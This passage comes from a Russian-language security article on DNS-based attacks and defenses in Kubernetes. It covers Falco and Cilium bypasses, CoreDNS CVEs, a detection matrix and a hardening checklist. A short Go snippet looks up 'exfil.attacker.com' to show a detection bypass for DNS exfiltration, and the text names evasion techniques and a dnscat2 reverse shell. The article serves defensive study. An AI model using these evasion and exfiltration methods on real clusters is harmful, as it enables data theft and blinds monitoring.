АктивацияGODEBUG=netdns=cgoGODEBUG=netdns=go (default на Linux)
Falco-правила из коммьюнити часто ловят CGO-паттерн (getaddrinfo → connect). Go binary с pure resolver порождает другую цепочку syscalls, и правила пропускают его.
Код:
// Принудительный pure Go resolver
resolver := &net.Resolver{
    PreferGo: true,
    Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
        return net.Dial("udp", "10.96.0.10:53")
    },
}
ips, _ := resolver.LookupHost(ctx, "exfil.attacker.com")
Код:
# PoC:
./lab/scripts/15_attack_go_resolver_bypass.sh
Контрмера: Falco-правила должны ловить sendmsg/sendto на dport=53 независимо от наличия getaddrinfo. Tetragon kprobe на udp_sendmsg с фильтром по порту — более надёжный подход.

10.7. Cilium FQDN Policy: hardcoded IP и DNS truncation​

Cilium FQDN policies работают через перехват DNS-запросов: наблюдают ответ, запоминают IP → домен маппинг, и разрешают трафик к этим IP. Два способа обхода:
Способ 1: Hardcoded IP. Если атакующий знает IP целевого хоста (узнал из DNS заранее или из других источников), он подключается напрямую, без DNS-запроса. Cilium FQDN proxy не создаёт маппинг, и при отсутствии строгой L3-политики трафик проходит.
Способ 2: DNS Truncation (Cilium Issue #31197). При truncated DNS-ответе (TC bit = 1, fallback на TCP) FQDN proxy некорректно обрабатывает ответ. В зависимости от конфигурации это может привести к fail-open — политика не применяется.
Способ 3: Tetragon DNS parsing gap (Issue #4948). Tetragon TracingPolicies могут перехватить udp_sendmsg на port 53, но не могут извлечь DNS-домен из payloadchar_buf/char_iovec отдают ошибку CharBufErrorBufTooLarge. Парсинг DNS на уровне Tetragon пока не реализован.
Контрмеры:
  • Комбинировать FQDN-политику с L3/L4 default-deny (не разрешать IP, которых нет в FQDN-кэше)
  • Мониторить cilium-agent на ошибки DNS proxy
  • Для Tetragon: использовать network-level observability (Hubble) вместо kprobe-based DNS detection

10.8. Свежие CVE в CoreDNS (2024--2025)​

CVECVSSОписаниеКак эксплуатируется
CVE-2025-580637.1TTL Confusion в etcd-плагине. TTL() кастует 64-bit lease ID в uint32 → TTL в десятки летАтакующий с доступом к etcd закрепляет DNS-запись навсегда (cache pinning). Failover и IP-ротация невозможны
CVE-2024-0874MediumCD bit cache bypass. При DNSSEC-запросе с CD=1 (Checking Disabled) CoreDNS кэширует невалидированный ответ и отдаёт его следующим запросам без CDОбход DNSSEC-валидации, подмена ответов
CVE-2025-68151HighDoS через resource exhaustion в gRPC/HTTPS/HTTP3 серверах CoreDNS. Не требует аутентификацииВывод CoreDNS из строя → fallback на upstream → обход всех фильтров
CoreDNS обновлять обязательно: >=1.12.4 закрывает CVE-2025-58063.

10.9. Матрица: техника vs. инструмент защиты​

Техника обходаFalcoTetragonCoreDNS filterNetworkPolicyCilium L7
io_uring bypassBLINDBLIND (default)ВидитБлокируетВидит
DoH из подаНе детектируетНе детектируетBLINDБлокирует (если strict)BLIND
Ring Buffer Flood~60% lossУстойчивееN/AN/AN/A
CoreDNS PoisoningN/AN/AОбойдёнN/AОбойдён
Slow DripНиже порогаНиже порогаВидит, но не алертитN/AВидит, но не алертит
Go Pure ResolverЧастичный bypassВидит (kprobe)ВидитБлокируетВидит
Hardcoded IPN/AN/AN/AБлокируетBLIND (FQDN)
DNS TruncationN/AN/AN/AN/AFail-open
Ни один инструмент не закрывает всё. Работает только комбинация: strict NetworkPolicy (L3/L4) + CoreDNS hardening + seccomp (io_uring block) + runtime detection с правильно настроенными правилами.

11. Чек-лист для продакшена​

Немедленные действия (день 1)​

  • Включить log-плагин CoreDNS и собирать логи в SIEM
  • Применить default-deny egress NetworkPolicy на все рабочие namespace
  • Allow-list: разрешить DNS только до CoreDNS (kube-dns)
  • Ревизия: kubectl get svc -A -o json | jq '.items[] | select(.spec.type=="ExternalName")'

Средний приоритет (неделя 1)​

  • Развернуть Falco с кастомными DNS-правилами
  • Добавить Kyverno/OPA policy на блокировку ExternalName
  • Настроить алерты на DNS-запросы с длинными label (>50 символов)
  • Проверить RBAC: кто может создавать namespace и Service

Средний приоритет — обход защит (неделя 2)​

  • Seccomp-профиль: блокировка io_uring_setup/enter/register на всех рабочих подах
  • Kyverno/OPA policy: запретить dnsPolicy: None
  • Алерт на Falco internal: syscall event drop (маркер ring buffer flood)
  • Audit Log: алерт на изменение ConfigMap coredns в kube-system
  • CoreDNS: обновить до >=1.12.4 (CVE-2025-58063, CVE-2024-0874)
  • Мониторинг уникальности поддоменов per parent domain (slow drip detection)
  • Для Cilium: комбинировать FQDN policy с L3/L4 default-deny

Стратегические (месяц 1)​

  • Мониторинг DNS-энтропии (ML-детектирование DNS tunneling)
  • DNS allowlist на уровне CoreDNS (разрешить резолв только для известных доменов)
  • Рассмотреть ndots:2 вместо ndots:5 (ускоряет резолв + снижает поверхность атаки ExternalName)
  • Cilium DNS-aware NetworkPolicy (L7 фильтрация DNS)
  • eBPF observability (Tetragon) для полного аудита DNS на уровне ядра
  • Baseline нормального DNS-поведения каждого пода (Hubble flow logs)

12. Заключение​

DNS в Kubernetes — это протокол, который всегда работает. Именно поэтому он так ценен для атакующего и так опасен для защитника.
Мы разобрали восемь атакующих техник:
Базовые векторы:
  1. DNS Discovery — бесплатная карта кластера без единого обращения к API.
  2. DNS Exfiltration — выкачка данных через поддомены, невидимая для стандартного мониторинга.
  3. DNS C2 — полноценный обратный шелл через dnscat2, проходящий любые файрволы.
  4. ExternalName Hijack — перехват трафика к github.com через ndots:5, актуальный для ArgoCD/Flux.
Обход защит (2024--2025):
  1. io_uring bypass — Falco и Tetragon полностью слепы к DNS через io_uring.
  2. DoH из подов — полный обход CoreDNS через DNS over HTTPS.
  3. Ring Buffer Flood — утопить Falco в мусорных событиях, потерять реальные алерты.
  4. CoreDNS Poisoning — прямая подмена DNS через модификацию ConfigMap.
Вся лаборатория — воспроизводима. Клонируйте репозиторий, запустите 01_create_cluster.sh + 02_deploy_baseline.sh, и вот готов рабочий полигон для тестирования всех атак и защит.

Репозиторий с PoC-лабораторией: kuber-dns-exfil-lab
 
Последнее редактирование:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab